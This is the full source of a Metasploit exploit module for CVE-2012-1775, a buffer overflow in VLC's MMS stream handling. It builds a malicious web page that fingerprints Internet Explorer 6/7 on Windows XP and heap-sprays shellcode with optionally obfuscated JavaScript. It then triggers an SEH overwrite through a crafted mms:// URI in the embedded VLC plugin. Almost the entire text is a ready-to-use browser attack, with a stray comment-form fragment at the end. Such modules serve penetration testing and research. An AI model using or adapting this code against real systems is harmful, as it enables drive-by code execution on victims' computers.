VLC MMS Stream Handling Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
 
    def initialize(info={})
        super(update_info(info,
            'Name'        => "VLC MMS Stream Handling Buffer Overflow",
            'Description' => %q{
                    This module exploits a buffer overflow in VLC media player VLC media player prior
                to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result
                in a stack buffer overflow when handling a malicious MMS URI.
 
                This module uses the browser as attack vector. A specially crafted MMS URI is
                used to trigger the overflow and get flow control through SEH overwrite. Control
                is transferred to code located in the heap through a standard heap spray.
 
                The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.
            },
            'License'     => MSF_LICENSE,
            'Author'      =>
                [
                    'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery
                    'sinn3r', # Metasploit module
                    'juan vazquez' # Metasploit module
                ],
            'References' =>
                [
                    ['CVE', '2012-1775'],
                    ['OSVDB', '80188'],
                    ['URL', 'http://www.videolan.org/security/sa1201.html'],
                    # Fix commit diff
                    ['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c']
                ],
            'Payload' =>
                {
                    'BadChars'        => "\x00",
                    'Space'           => 1000,
                },
            'DefaultOptions' =>
                {
                    'ExitFunction' => "process",
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform' => 'win',
            'Targets'  =>
                [
                    # Tested with VLC 2.0.0
                    [ 'Automatic', {} ],
                    [
                        'Internet Explorer 6 on XP SP3',
                        {
                            'Rop' => false,
                            # Space needed to overflow and generate an exception
                            # which allows to get control through SEH overwrite
                            'Offset' => 5488,
                            'OffsetShell' => '0x800 - code.length',
                            'Blocks' => '1550',
                            'Padding' => '0'
                        }
                    ],
                    [
                        'Internet Explorer 7 on XP SP3',
                        {
                            'Rop' => false,
                            # Space needed to overflow and generate an exception
                            # which allows to get control through SEH overwrite
                            'Offset' => 5488,
                            'OffsetShell' => '0x800 - code.length',
                            'Blocks' => '1600',
                            'Padding' => '1'
                        }
                    ]
                ],
            'DisclosureDate' => "Mar 15 2012",
            'DefaultTarget' => 0))
 
        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
            ], self.class)
    end
 
    def get_target(cli, request)
        #Default target
        my_target = target
 
        vprint_status("User-Agent: #{request.headers['User-Agent']}")
 
        if target.name == 'Automatic'
            agent = request.headers['User-Agent']
            if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
                #Windows XP + IE 6
                my_target = targets[1]
            elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
                #Windows XP + 7.0
                my_target = targets[2]
            else
                #If we don't recognize the client, we don't fire the exploit
                my_target = nil
            end
        end
 
        return my_target
    end
 
    def on_request_uri(cli, request)
        #Pick the right target
        my_target = get_target(cli, request)
        if my_target.nil?
            vprint_error("Target not supported")
            send_not_found(cli)
            return
        end
 
        vprint_status("URL: #{request.uri.to_s}")
 
        #ARCH used by the victim machine
        arch = Rex::Arch.endian(my_target.arch)
        nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
        code = Rex::Text.to_unescape(payload.encoded, arch)
 
        # Spray overwrites 0x30303030 with our payload
        spray = <<-JS
        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{code}");
        var nops = unescape("#{nops}");
 
        while (nops.length < 0x80000) nops += nops;
        var offset = nops.substring(0, #{my_target['OffsetShell']});
        var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
 
        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);
 
        heap_obj.gc();
        for (var i=0; i < #{my_target['Blocks']}; i++) {
            heap_obj.alloc(block);
        }
        JS
 
        #Use heaplib
        js_spray = heaplib(spray)
 
        #obfuscate on demand
        if datastore['OBFUSCATE']
            js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
            js_spray.obfuscate
        end
 
 
        src_ip = Rex::Socket.source_address.split('.')
        hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join
        # Try to maximize success on IE7 platform:
        # If first octet of IP address is minor than 16 pad with zero
        # even when heap spray could be not successful.
        # Else pad following target heap spray criteria.
        if ((hex_ip.to_i(16) >> 24) < 16)
            padding_char = '0'
        else
            padding_char = my_target['Padding']
        end
 
        hex_ip = "0x#{padding_char * my_target['Offset']}#{hex_ip}"
 
        html = <<-EOS
        <html>
    <head>
    <script>
            #{js_spray}
    </script>
    </head>
        <body>
        <OBJECT classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"
            codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"
            width="320"
            height="240"
            id="vlc" events="True">
            <param name="Src" value="mms://#{hex_ip}:#{datastore['SRVPORT']}" />
            <param name="ShowDisplay" value="True" />
            <param name="AutoLoop" value="False" />
            <param name="AutoPlay" value="True" />
            <EMBED pluginspage="http://www.videolan.org"
                type="application/x-vlc-plugin" progid="VideoLAN.VLCPlugin.2"
                width="320"
                height="240"
                autoplay="yes"
                loop="no"
                target="mms://#{hex_ip}:#{datastore['SRVPORT']}"
                name="vlc">
            </EMBED>
        </OBJECT>
 
 
        </body>
        </html>
        EOS
 
        #Remove extra tabs in HTML
        html = html.gsub(/^\t\t/, "")
 
        print_status("Sending malicious page")
        send_response( cli, html, {'Content-Type' => 'text/html'} )
    end
end

 

发表评论